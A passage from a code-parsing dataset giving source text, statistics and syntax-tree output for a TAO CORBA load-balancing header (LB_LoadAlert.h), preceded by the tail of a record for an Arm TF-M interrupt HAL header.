46, "column": 0}, "end_point": {"row": 46, "column": 6}}]}, "node_categories": {"declarations": {"functions": [16, 26, 36], "variables": [12, 19, 22, 29, 32, 39], "classes": [], "imports": [6, 7, 9, 10], "modules": [], "enums": [13, 14, 23, 24, 33, 34]}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 15, 17, 21, 25, 27, 31, 35, 37, 41, 42], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 16, "universal_type": "function", "name": "unknown", "text_snippet": "tfm_hal_irq_enable(uint32_t irq_num)"}, {"node_id": 26, "universal_type": "function", "name": "unknown", "text_snippet": "tfm_hal_irq_disable(uint32_t irq_num)"}, {"node_id": 36, "universal_type": "function", "name": "unknown", "text_snippet": "tfm_hal_irq_clear_pending(uint32_t irq_num)"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include <stdint.h>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"tfm_hal_defs.h\"\n"}, {"node_id": 10, "text": "#include"}]}, "original_source_code": "/*\n * Copyright (c) 2020-2021, Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\n */\n\n#ifndef __TFM_HAL_INTERRUPT_H__\n#define __TFM_HAL_INTERRUPT_H__\n\n#include <stdint.h>\n#include \"tfm_hal_defs.h\"\n\n/**\n * \\brief Enables an interrupt from the Interrupt Controller of the platform\n *\n * \\param[in] irq_num the interrupt to be enabled with a number\n *\n * \\return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to enable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is enabled.\n */\nenum tfm_hal_status_t tfm_hal_irq_enable(uint32_t irq_num);\n\n/**\n * \\brief Disables an interrupt from the Interrupt Controller of the platform\n *\n * \\param[in] irq_num the interrupt to be disabled with a number\n *\n * \\return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to disable the interrupt.\n * TFM_HAL_SUCCESS - the interrupt is disable.\n */\nenum tfm_hal_status_t tfm_hal_irq_disable(uint32_t irq_num);\n\n/**\n * \\brief Clears an active and pending interrupt.\n *\n * \\param[in] irq_num the interrupt to be cleared with a number\n *\n * \\return TFM_HAL_ERROR_INVALID_INPUT - the irq_num is not invalid.\n * TFM_HAL_ERROR_GENERIC - failed to clear the pending interrupt.\n * TFM_HAL_SUCCESS - the pending interrupt is cleared.\n */\nenum tfm_hal_status_t tfm_hal_irq_clear_pending(uint32_t irq_num);\n\n#endif /* __TFM_HAL_INTERRUPT_H__ */\n"}
81,121
c
// -*- C++ -*- //============================================================================= /** * @file LB_LoadAlert.h * * $Id: LB_LoadAlert.h 77001 2007-02-12 07:54:49Z johnnyw $ * * @author <NAME> <<EMAIL>> */ //============================================================================= #ifndef TAO_LB_LOAD_ALERT_H #define TAO_LB_LOAD_ALERT_H #include /**/ "ace/pre.h" #include "orbsvcs/CosLoadBalancingS.h" #if !defined (ACE_LACKS_PRAGMA_ONCE) #pragma once #endif /* ACE_LACKS_PRAGMA_ONCE */ #include "orbsvcs/PortableGroupC.h" TAO_BEGIN_VERSIONED_NAMESPACE_DECL class TAO_LoadBalancing_Export TAO_LB_LoadAlert : public virtual POA_CosLoadBalancing::LoadAlert { public: /// Constructor. TAO_LB_LoadAlert (void); /** * @name CosLoadBalancing::LoadAlert Methods * * Methods required by the CosLoadBalancing::LoadAlert interface. */ //@{ /// Forward requests back to the load manager via the object group /// reference. virtual void enable_alert (void); /// Stop forwarding requests, and begin accepting them again. virtual void disable_alert (void); //@} /// Has this LoadAlert servant been alerted of a high load condition /// by the LoadManager. CORBA::Boolean alerted (void) const; // protected: /// Destructor. /** * Protected destructor to enforce correct memory management via * reference counting. */ virtual ~TAO_LB_LoadAlert (void); private: /// Has this LoadAlert servant been alerted of a high load condition /// by the LoadManager? CORBA::Boolean alerted_; /// Lock used to synchronized access to the LoadAlert state. mutable TAO_SYNCH_MUTEX lock_; }; TAO_END_VERSIONED_NAMESPACE_DECL #if defined (__ACE_INLINE__) # include "orbsvcs/LoadBalancing/LB_LoadAlert.inl" #endif /* __ACE_INLINE__ */ #include /**/ "ace/post.h" #endif /* TAO_LB_LOAD_ALERT_H */
29.28
61
(translation_unit) "// -*- C++ -*-\n\n//=============================================================================\n/**\n * @file LB_LoadAlert.h\n *\n * $Id: LB_LoadAlert.h 77001 2007-02-12 07:54:49Z johnnyw $\n *\n * @author <NAME> <<EMAIL>>\n */\n//=============================================================================\n\n\n#ifndef TAO_LB_LOAD_ALERT_H\n#define TAO_LB_LOAD_ALERT_H\n\n#include /**/ "ace/pre.h"\n\n#include "orbsvcs/CosLoadBalancingS.h"\n\n#if !defined (ACE_LACKS_PRAGMA_ONCE)\n#pragma once\n#endif /* ACE_LACKS_PRAGMA_ONCE */\n\n#include "orbsvcs/PortableGroupC.h"\n\nTAO_BEGIN_VERSIONED_NAMESPACE_DECL\n\nclass TAO_LoadBalancing_Export TAO_LB_LoadAlert\n : public virtual POA_CosLoadBalancing::LoadAlert\n{\npublic:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);\n\n /**\n * @name CosLoadBalancing::LoadAlert Methods\n *\n * Methods required by the CosLoadBalancing::LoadAlert interface.\n */\n //@{\n\n /// Forward requests back to the load manager via the object group\n /// reference.\n virtual void enable_alert (void);\n\n /// Stop forwarding requests, and begin accepting them again.\n virtual void disable_alert (void);\n\n //@}\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager.\n CORBA::Boolean alerted (void) const;\n\n// protected:\n\n /// Destructor.\n /**\n * Protected destructor to enforce correct memory management via\n * reference counting.\n */\n virtual ~TAO_LB_LoadAlert (void);\n\nprivate:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;\n\n /// Lock used to synchronized access to the LoadAlert state.\n mutable TAO_SYNCH_MUTEX lock_;\n\n};\n\nTAO_END_VERSIONED_NAMESPACE_DECL\n\n#if defined (__ACE_INLINE__)\n# include "orbsvcs/LoadBalancing/LB_LoadAlert.inl"\n#endif /* __ACE_INLINE__ */\n\n#include /**/ "ace/post.h"\n\n#endif /* TAO_LB_LOAD_ALERT_H */\n" (comment) "// -*- C++ -*-" (comment) "//=============================================================================" (comment) "/**\n * @file LB_LoadAlert.h\n *\n * $Id: LB_LoadAlert.h 77001 2007-02-12 07:54:49Z johnnyw $\n *\n * @author <NAME> <<EMAIL>>\n */" (comment) "//=============================================================================" (preproc_ifdef) "#ifndef TAO_LB_LOAD_ALERT_H\n#define TAO_LB_LOAD_ALERT_H\n\n#include /**/ "ace/pre.h"\n\n#include "orbsvcs/CosLoadBalancingS.h"\n\n#if !defined (ACE_LACKS_PRAGMA_ONCE)\n#pragma once\n#endif /* ACE_LACKS_PRAGMA_ONCE */\n\n#include "orbsvcs/PortableGroupC.h"\n\nTAO_BEGIN_VERSIONED_NAMESPACE_DECL\n\nclass TAO_LoadBalancing_Export TAO_LB_LoadAlert\n : public virtual POA_CosLoadBalancing::LoadAlert\n{\npublic:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);\n\n /**\n * @name CosLoadBalancing::LoadAlert Methods\n *\n * Methods required by the CosLoadBalancing::LoadAlert interface.\n */\n //@{\n\n /// Forward requests back to the load manager via the object group\n /// reference.\n virtual void enable_alert (void);\n\n /// Stop forwarding requests, and begin accepting them again.\n virtual void disable_alert (void);\n\n //@}\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager.\n CORBA::Boolean alerted (void) const;\n\n// protected:\n\n /// Destructor.\n /**\n * Protected destructor to enforce correct memory management via\n * reference counting.\n */\n virtual ~TAO_LB_LoadAlert (void);\n\nprivate:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;\n\n /// Lock used to synchronized access to the LoadAlert state.\n mutable TAO_SYNCH_MUTEX lock_;\n\n};\n\nTAO_END_VERSIONED_NAMESPACE_DECL\n\n#if defined (__ACE_INLINE__)\n# include "orbsvcs/LoadBalancing/LB_LoadAlert.inl"\n#endif /* __ACE_INLINE__ */\n\n#include /**/ "ace/post.h"\n\n#endif" (#ifndef) "#ifndef" (identifier) "TAO_LB_LOAD_ALERT_H" (preproc_def) "#define TAO_LB_LOAD_ALERT_H\n" (#define) "#define" (identifier) "TAO_LB_LOAD_ALERT_H" (preproc_include) "#include /**/ "ace/pre.h"\n" (#include) "#include" (comment) "/**/" (string_literal) ""ace/pre.h"" (") """ (string_content) "ace/pre.h" (") """ (preproc_include) "#include "orbsvcs/CosLoadBalancingS.h"\n" (#include) "#include" (string_literal) ""orbsvcs/CosLoadBalancingS.h"" (") """ (string_content) "orbsvcs/CosLoadBalancingS.h" (") """ (preproc_if) "#if !defined (ACE_LACKS_PRAGMA_ONCE)\n#pragma once\n#endif" (#if) "#if" (unary_expression) "!defined (ACE_LACKS_PRAGMA_ONCE)" (!) "!" (preproc_defined) "defined (ACE_LACKS_PRAGMA_ONCE)" (defined) "defined" (() "(" (identifier) "ACE_LACKS_PRAGMA_ONCE" ()) ")" ( ) "\n" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (#endif) "#endif" (comment) "/* ACE_LACKS_PRAGMA_ONCE */" (preproc_include) "#include "orbsvcs/PortableGroupC.h"\n" (#include) "#include" (string_literal) ""orbsvcs/PortableGroupC.h"" (") """ (string_content) "orbsvcs/PortableGroupC.h" (") """ (declaration) "TAO_BEGIN_VERSIONED_NAMESPACE_DECL\n\nclass" (type_identifier) "TAO_BEGIN_VERSIONED_NAMESPACE_DECL" (identifier) "class" (;) "" (function_definition) "TAO_LoadBalancing_Export TAO_LB_LoadAlert\n : public virtual POA_CosLoadBalancing::LoadAlert\n{\npublic:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);\n\n /**\n * @name CosLoadBalancing::LoadAlert Methods\n *\n * Methods required by the CosLoadBalancing::LoadAlert interface.\n */\n //@{\n\n /// Forward requests back to the load manager via the object group\n /// reference.\n virtual void enable_alert (void);\n\n /// Stop forwarding requests, and begin accepting them again.\n virtual void disable_alert (void);\n\n //@}\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager.\n CORBA::Boolean alerted (void) const;\n\n// protected:\n\n /// Destructor.\n /**\n * Protected destructor to enforce correct memory management via\n * reference counting.\n */\n virtual ~TAO_LB_LoadAlert (void);\n\nprivate:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;\n\n /// Lock used to synchronized access to the LoadAlert state.\n mutable TAO_SYNCH_MUTEX lock_;\n\n}" (type_identifier) "TAO_LoadBalancing_Export" (identifier) "TAO_LB_LoadAlert" (ERROR) ": public virtual POA_CosLoadBalancing::LoadAlert" (:) ":" (identifier) "public" (identifier) "virtual" (identifier) "POA_CosLoadBalancing" (:) ":" (:) ":" (identifier) "LoadAlert" (compound_statement) "{\npublic:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);\n\n /**\n * @name CosLoadBalancing::LoadAlert Methods\n *\n * Methods required by the CosLoadBalancing::LoadAlert interface.\n */\n //@{\n\n /// Forward requests back to the load manager via the object group\n /// reference.\n virtual void enable_alert (void);\n\n /// Stop forwarding requests, and begin accepting them again.\n virtual void disable_alert (void);\n\n //@}\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager.\n CORBA::Boolean alerted (void) const;\n\n// protected:\n\n /// Destructor.\n /**\n * Protected destructor to enforce correct memory management via\n * reference counting.\n */\n virtual ~TAO_LB_LoadAlert (void);\n\nprivate:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;\n\n /// Lock used to synchronized access to the LoadAlert state.\n mutable TAO_SYNCH_MUTEX lock_;\n\n}" ({) "{" (labeled_statement) "public:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);" (statement_identifier) "public" (:) ":" (comment) "/// Constructor." (expression_statement) "TAO_LB_LoadAlert (void);" (call_expression) "TAO_LB_LoadAlert (void)" (identifier) "TAO_LB_LoadAlert" (argument_list) "(void)" (() "(" (identifier) "void" ()) ")" (;) ";" (comment) "/**\n * @name CosLoadBalancing::LoadAlert Methods\n *\n * Methods required by the CosLoadBalancing::LoadAlert interface.\n */" (comment) "//@{" (comment) "/// Forward requests back to the load manager via the object group" (comment) "/// reference." (declaration) "virtual void enable_alert (void);" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "enable_alert (void)" (identifier) "enable_alert" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "/// Stop forwarding requests, and begin accepting them again." (declaration) "virtual void disable_alert (void);" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "disable_alert (void)" (identifier) "disable_alert" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (comment) "//@}" (comment) "/// Has this LoadAlert servant been alerted of a high load condition" (comment) "/// by the LoadManager." (labeled_statement) "CORBA::Boolean alerted (void) const;" (statement_identifier) "CORBA" (:) ":" (ERROR) ":Boolean alerted (void) const" (:) ":" (type_identifier) "Boolean" (function_declarator) "alerted (void) const" (identifier) "alerted" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (identifier) "const" (expression_statement) ";" (;) ";" (comment) "// protected:" (comment) "/// Destructor." (comment) "/**\n * Protected destructor to enforce correct memory management via\n * reference counting.\n */" (declaration) "virtual ~TAO_LB_LoadAlert (void);" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "TAO_LB_LoadAlert (void)" (identifier) "TAO_LB_LoadAlert" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (labeled_statement) "private:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;" (statement_identifier) "private" (:) ":" (comment) "/// Has this LoadAlert servant been alerted of a high load condition" (comment) "/// by the LoadManager?" (labeled_statement) "CORBA::Boolean alerted_;" (statement_identifier) "CORBA" (:) ":" (ERROR) ":" (:) ":" (declaration) "Boolean alerted_;" (type_identifier) "Boolean" (identifier) "alerted_" (;) ";" (comment) "/// Lock used to synchronized access to the LoadAlert state." (declaration) "mutable TAO_SYNCH_MUTEX lock_;" (type_identifier) "mutable" (identifier) "TAO_SYNCH_MUTEX" (ERROR) "lock_" (identifier) "lock_" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (type_identifier) "TAO_END_VERSIONED_NAMESPACE_DECL" (;) "" (preproc_if) "#if defined (__ACE_INLINE__)\n# include "orbsvcs/LoadBalancing/LB_LoadAlert.inl"\n#endif" (#if) "#if" (preproc_defined) "defined (__ACE_INLINE__)" (defined) "defined" (() "(" (identifier) "__ACE_INLINE__" ()) ")" ( ) "\n" (preproc_include) "# include "orbsvcs/LoadBalancing/LB_LoadAlert.inl"\n" (#include) "# include" (string_literal) ""orbsvcs/LoadBalancing/LB_LoadAlert.inl"" (") """ (string_content) "orbsvcs/LoadBalancing/LB_LoadAlert.inl" (") """ (#endif) "#endif" (comment) "/* __ACE_INLINE__ */" (preproc_include) "#include /**/ "ace/post.h"\n" (#include) "#include" (comment) "/**/" (string_literal) ""ace/post.h"" (") """ (string_content) "ace/post.h" (") """ (#endif) "#endif" (comment) "/* TAO_LB_LOAD_ALERT_H */"
188
7
{"language": "c", "success": true, "metadata": {"lines": 61, "avg_line_length": 29.28, "nodes": 103, "errors": 0, "source_hash": "7a489e7e728b877d609f800c65b7162607789edf363d27035c947ad1b3d8ae2c", "categorized_nodes": 72}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef TAO_LB_LOAD_ALERT_H\n#define TAO_LB_LOAD_ALERT_H\n\n#include /**/ \"ace/pre.h\"\n\n#include \"orbsvcs/CosLoadBalancingS.h\"\n\n#if !defined (ACE_LACKS_PRAGMA_ONCE)\n#pragma once\n#endif /* ACE_LACKS_PRAGMA_ONCE */\n\n#include \"orbsvcs/PortableGroupC.h\"\n\nTAO_BEGIN_VERSIONED_NAMESPACE_DECL\n\nclass TAO_LoadBalancing_Export TAO_LB_LoadAlert\n : public virtual POA_CosLoadBalancing::LoadAlert\n{\npublic:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);\n\n /**\n * @name CosLoadBalancing::LoadAlert Methods\n *\n * Methods required by the CosLoadBalancing::LoadAlert interface.\n */\n //@{\n\n /// Forward requests back to the load manager via the object group\n /// reference.\n virtual void enable_alert (void);\n\n /// Stop forwarding requests, and begin accepting them again.\n virtual void disable_alert (void);\n\n //@}\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager.\n CORBA::Boolean alerted (void) const;\n\n// protected:\n\n /// Destructor.\n /**\n * Protected destructor to enforce correct memory management via\n * reference counting.\n */\n virtual ~TAO_LB_LoadAlert (void);\n\nprivate:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;\n\n /// Lock used to synchronized access to the LoadAlert state.\n mutable TAO_SYNCH_MUTEX lock_;\n\n};\n\nTAO_END_VERSIONED_NAMESPACE_DECL\n\n#if defined (__ACE_INLINE__)\n# include \"orbsvcs/LoadBalancing/LB_LoadAlert.inl\"\n#endif /* __ACE_INLINE__ */\n\n#include /**/ \"ace/post.h\"\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 24, 27, 29, 88, 89, 99, 102], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 84, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 7}}, {"id": 2, "type": "identifier", "text": "TAO_LB_LOAD_ALERT_H", "parent": 0, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 27}}, {"id": 3, "type": "preproc_def", "text": "#define TAO_LB_LOAD_ALERT_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 7}}, {"id": 5, "type": "identifier", "text": "TAO_LB_LOAD_ALERT_H", "parent": 3, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 27}}, {"id": 6, "type": "preproc_include", "text": "#include /**/ \"ace/pre.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"ace/pre.h\"", "parent": 6, "children": [], "start_point": {"row": 16, "column": 14}, "end_point": {"row": 16, "column": 25}}, {"id": 9, "type": "preproc_include", "text": "#include \"orbsvcs/CosLoadBalancingS.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 19, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"orbsvcs/CosLoadBalancingS.h\"", "parent": 9, "children": [], "start_point": {"row": 18, "column": 9}, "end_point": {"row": 18, "column": 38}}, {"id": 12, "type": "preproc_if", "text": "#if !defined (ACE_LACKS_PRAGMA_ONCE)\n#pragma once\n#endif", "parent": 0, "children": [13, 14, 19, 20, 23], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 22, "column": 6}}, {"id": 13, "type": "#if", "text": "#if", "parent": 12, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 3}}, {"id": 14, "type": "unary_expression", "text": "!defined (ACE_LACKS_PRAGMA_ONCE)", "parent": 12, "children": [15, 16], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 36}}, {"id": 15, "type": "!", "text": "!", "parent": 14, "children": [], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 5}}, {"id": 16, "type": "preproc_defined", "text": "defined (ACE_LACKS_PRAGMA_ONCE)", "parent": 14, "children": [17, 18], "start_point": {"row": 20, "column": 5}, "end_point": {"row": 20, "column": 36}}, {"id": 17, "type": "defined", "text": "defined", "parent": 16, "children": [], "start_point": {"row": 20, "column": 5}, "end_point": {"row": 20, "column": 12}}, {"id": 18, "type": "identifier", "text": "ACE_LACKS_PRAGMA_ONCE", "parent": 16, "children": [], "start_point": {"row": 20, "column": 14}, "end_point": {"row": 20, "column": 35}}, {"id": 19, "type": "\n", "text": "\n", "parent": 12, "children": [], "start_point": {"row": 20, "column": 36}, "end_point": {"row": 21, "column": 0}}, {"id": 20, "type": "preproc_call", "text": "#pragma once\n", "parent": 12, "children": [21, 22], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 21, "type": "preproc_directive", "text": "#pragma", "parent": 20, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 7}}, {"id": 22, "type": "preproc_arg", "text": "once", "parent": 20, "children": [], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 12}}, {"id": 23, "type": "#endif", "text": "#endif", "parent": 12, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 6}}, {"id": 24, "type": "preproc_include", "text": "#include \"orbsvcs/PortableGroupC.h\"\n", "parent": 0, "children": [25, 26], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 25, "column": 0}}, {"id": 25, "type": "#include", "text": "#include", "parent": 24, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 8}}, {"id": 26, "type": "string_literal", "text": "\"orbsvcs/PortableGroupC.h\"", "parent": 24, "children": [], "start_point": {"row": 24, "column": 9}, "end_point": {"row": 24, "column": 35}}, {"id": 27, "type": "declaration", "text": "TAO_BEGIN_VERSIONED_NAMESPACE_DECL\n\nclass", "parent": 0, "children": [28], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 28, "column": 5}}, {"id": 28, "type": "type_identifier", "text": "TAO_BEGIN_VERSIONED_NAMESPACE_DECL", "parent": 27, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 34}}, {"id": 29, "type": "function_definition", "text": "TAO_LoadBalancing_Export TAO_LB_LoadAlert\n : public virtual POA_CosLoadBalancing::LoadAlert\n{\npublic:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);\n\n /**\n * @name CosLoadBalancing::LoadAlert Methods\n *\n * Methods required by the CosLoadBalancing::LoadAlert interface.\n */\n //@{\n\n /// Forward requests back to the load manager via the object group\n /// reference.\n virtual void enable_alert (void);\n\n /// Stop forwarding requests, and begin accepting them again.\n virtual void disable_alert (void);\n\n //@}\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager.\n CORBA::Boolean alerted (void) const;\n\n// protected:\n\n /// Destructor.\n /**\n * Protected destructor to enforce correct memory management via\n * reference counting.\n */\n virtual ~TAO_LB_LoadAlert (void);\n\nprivate:\n\n /// Has this LoadAlert servant been alerted of a high load condition\n /// by the LoadManager?\n CORBA::Boolean alerted_;\n\n /// Lock used to synchronized access to the LoadAlert state.\n mutable TAO_SYNCH_MUTEX lock_;\n\n}", "parent": 0, "children": [30, 31, 32], "start_point": {"row": 28, "column": 6}, "end_point": {"row": 74, "column": 1}}, {"id": 30, "type": "type_identifier", "text": "TAO_LoadBalancing_Export", "parent": 29, "children": [], "start_point": {"row": 28, "column": 6}, "end_point": {"row": 28, "column": 30}}, {"id": 31, "type": "identifier", "text": "TAO_LB_LoadAlert", "parent": 29, "children": [], "start_point": {"row": 28, "column": 31}, "end_point": {"row": 28, "column": 47}}, {"id": 32, "type": "ERROR", "text": ": public virtual POA_CosLoadBalancing::LoadAlert", "parent": 29, "children": [33, 34, 35], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 50}}, {"id": 33, "type": "identifier", "text": "virtual", "parent": 32, "children": [], "start_point": {"row": 29, "column": 11}, "end_point": {"row": 29, "column": 18}}, {"id": 34, "type": "identifier", "text": "POA_CosLoadBalancing", "parent": 32, "children": [], "start_point": {"row": 29, "column": 19}, "end_point": {"row": 29, "column": 39}}, {"id": 35, "type": "identifier", "text": "LoadAlert", "parent": 32, "children": [], "start_point": {"row": 29, "column": 41}, "end_point": {"row": 29, "column": 50}}, {"id": 36, "type": "labeled_statement", "text": "public:\n\n /// Constructor.\n TAO_LB_LoadAlert (void);", "parent": 29, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 34, "column": 26}}, {"id": 37, "type": "call_expression", "text": "TAO_LB_LoadAlert (void)", "parent": 36, "children": [38, 39], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 34, "column": 25}}, {"id": 38, "type": "identifier", "text": "TAO_LB_LoadAlert", "parent": 37, "children": [], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 34, "column": 18}}, {"id": 39, "type": "argument_list", "text": "(void)", "parent": 37, "children": [40], "start_point": {"row": 34, "column": 19}, "end_point": {"row": 34, "column": 25}}, {"id": 40, "type": "identifier", "text": "void", "parent": 39, "children": [], "start_point": {"row": 34, "column": 20}, "end_point": {"row": 34, "column": 24}}, {"id": 41, "type": "declaration", "text": "virtual void enable_alert (void);", "parent": 29, "children": [42, 43, 45], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 35}}, {"id": 42, "type": "type_identifier", "text": "virtual", "parent": 41, "children": [], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 9}}, {"id": 43, "type": "ERROR", "text": "void", "parent": 41, "children": [44], "start_point": {"row": 45, "column": 10}, "end_point": {"row": 45, "column": 14}}, {"id": 44, "type": "identifier", "text": "void", "parent": 43, "children": [], "start_point": {"row": 45, "column": 10}, "end_point": {"row": 45, "column": 14}}, {"id": 45, "type": "function_declarator", "text": "enable_alert (void)", "parent": 41, "children": [46, 47], "start_point": {"row": 45, "column": 15}, "end_point": {"row": 45, "column": 34}}, {"id": 46, "type": "identifier", "text": "enable_alert", "parent": 45, "children": [], "start_point": {"row": 45, "column": 15}, "end_point": {"row": 45, "column": 27}}, {"id": 47, "type": "parameter_list", "text": "(void)", "parent": 45, "children": [48], "start_point": {"row": 45, "column": 28}, "end_point": {"row": 45, "column": 34}}, {"id": 48, "type": "parameter_declaration", "text": "void", "parent": 47, "children": [49], "start_point": {"row": 45, "column": 29}, "end_point": {"row": 45, "column": 33}}, {"id": 49, "type": "primitive_type", "text": "void", "parent": 48, "children": [], "start_point": {"row": 45, "column": 29}, "end_point": {"row": 45, "column": 33}}, {"id": 50, "type": "declaration", "text": "virtual void disable_alert (void);", "parent": 29, "children": [51, 52, 54], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 36}}, {"id": 51, "type": "type_identifier", "text": "virtual", "parent": 50, "children": [], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 9}}, {"id": 52, "type": "ERROR", "text": "void", "parent": 50, "children": [53], "start_point": {"row": 48, "column": 10}, "end_point": {"row": 48, "column": 14}}, {"id": 53, "type": "identifier", "text": "void", "parent": 52, "children": [], "start_point": {"row": 48, "column": 10}, "end_point": {"row": 48, "column": 14}}, {"id": 54, "type": "function_declarator", "text": "disable_alert (void)", "parent": 50, "children": [55, 56], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 35}}, {"id": 55, "type": "identifier", "text": "disable_alert", "parent": 54, "children": [], "start_point": {"row": 48, "column": 15}, "end_point": {"row": 48, "column": 28}}, {"id": 56, "type": "parameter_list", "text": "(void)", "parent": 54, "children": [57], "start_point": {"row": 48, "column": 29}, "end_point": {"row": 48, "column": 35}}, {"id": 57, "type": "parameter_declaration", "text": "void", "parent": 56, "children": [58], "start_point": {"row": 48, "column": 30}, "end_point": {"row": 48, "column": 34}}, {"id": 58, "type": "primitive_type", "text": "void", "parent": 57, "children": [], "start_point": {"row": 48, "column": 30}, "end_point": {"row": 48, "column": 34}}, {"id": 59, "type": "labeled_statement", "text": "CORBA::Boolean alerted (void) const;", "parent": 29, "children": [60, 61], "start_point": {"row": 54, "column": 2}, "end_point": {"row": 54, "column": 38}}, {"id": 60, "type": "statement_identifier", "text": "CORBA", "parent": 59, "children": [], "start_point": {"row": 54, "column": 2}, "end_point": {"row": 54, "column": 7}}, {"id": 61, "type": "ERROR", "text": ":Boolean alerted (void) const", "parent": 59, "children": [62, 63], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 54, "column": 37}}, {"id": 62, "type": "type_identifier", "text": "Boolean", "parent": 61, "children": [], "start_point": {"row": 54, "column": 9}, "end_point": {"row": 54, "column": 16}}, {"id": 63, "type": "function_declarator", "text": "alerted (void) const", "parent": 61, "children": [64, 65], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 37}}, {"id": 64, "type": "identifier", "text": "alerted", "parent": 63, "children": [], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 24}}, {"id": 65, "type": "parameter_list", "text": "(void)", "parent": 63, "children": [66], "start_point": {"row": 54, "column": 25}, "end_point": {"row": 54, "column": 31}}, {"id": 66, "type": "parameter_declaration", "text": "void", "parent": 65, "children": [67], "start_point": 